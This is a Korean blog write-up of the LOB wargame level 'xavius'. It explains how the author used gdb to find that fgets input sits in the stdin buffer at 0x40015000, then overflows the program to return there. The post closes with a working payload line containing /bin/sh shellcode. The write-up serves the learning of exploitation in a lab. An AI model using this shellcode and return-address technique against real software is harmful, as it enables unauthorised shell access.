반응형
nightmare -> xavius 로 접속합니다.
소스코드를 보는데
뭐 다막아놨어요
우선 계속 strcpy 가 나오다가 갑자기 fgets가 나온 것에 의문이 듭니다.
char *fgets(char *s, int size, FILE *stream);
이소스에서는
fgets(buffer, 256, stdin)이라고 되어있는데
여기서 stdin이 뭔지 궁금해서
검색해보면
stdin이란, 표준입력 파일 스트림으로
표준 입력을 이야기할 때 흔히 '버퍼'를 이야기한다고 합니다.
그렇다면 fgets로 입력받은 값들이 stdin에 저장되는 것 같습니다.
제대로 알아보기 위해 gdb로 보면
fgets (main+21)에 break 를 걸고
stdin을 보면
0x00000000 이군요...
여기서 이게 아닌가 싶었는데
제가 아직 입력도 안받고 입력받은 줄 ;;
제대로 값을 입력받기 위해
printf(main+38)에 break 를 걸고
continue 한 후, 아무값이나 입력해 줬습니다.
그리고 다시 stdin 을 보니
세상에
값이 입력되어 있는 것을 볼 수 있습니다.
0x40015019는 아니었고
0x40015000에 잘 들어가 있군요
그럼 잠시만요 아까 소스코드에서
0x40에 대한 검사는 하지 않았는데?!
크으
그렇다면
쉘코드를 넣어 버퍼의 크기를 맞추고 ret에 0x40015000을 넣어주면 되겠군요
(python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*9+"\x00\x50\x01\x40"';cat)|./xavius
반응형
'Security > Pwnable' 카테고리의 다른 글
RTL이란? (Return to Library) (0) | 2021.08.10 |
---|---|
LOB Level20 xavius (0) | 2021.08.10 |
LOB Level 18 succubus (0) | 2021.08.10 |
LOB Level 17 zombie_assassin (0) | 2021.08.10 |
LOB Level 16 assassin (0) | 2021.08.10 |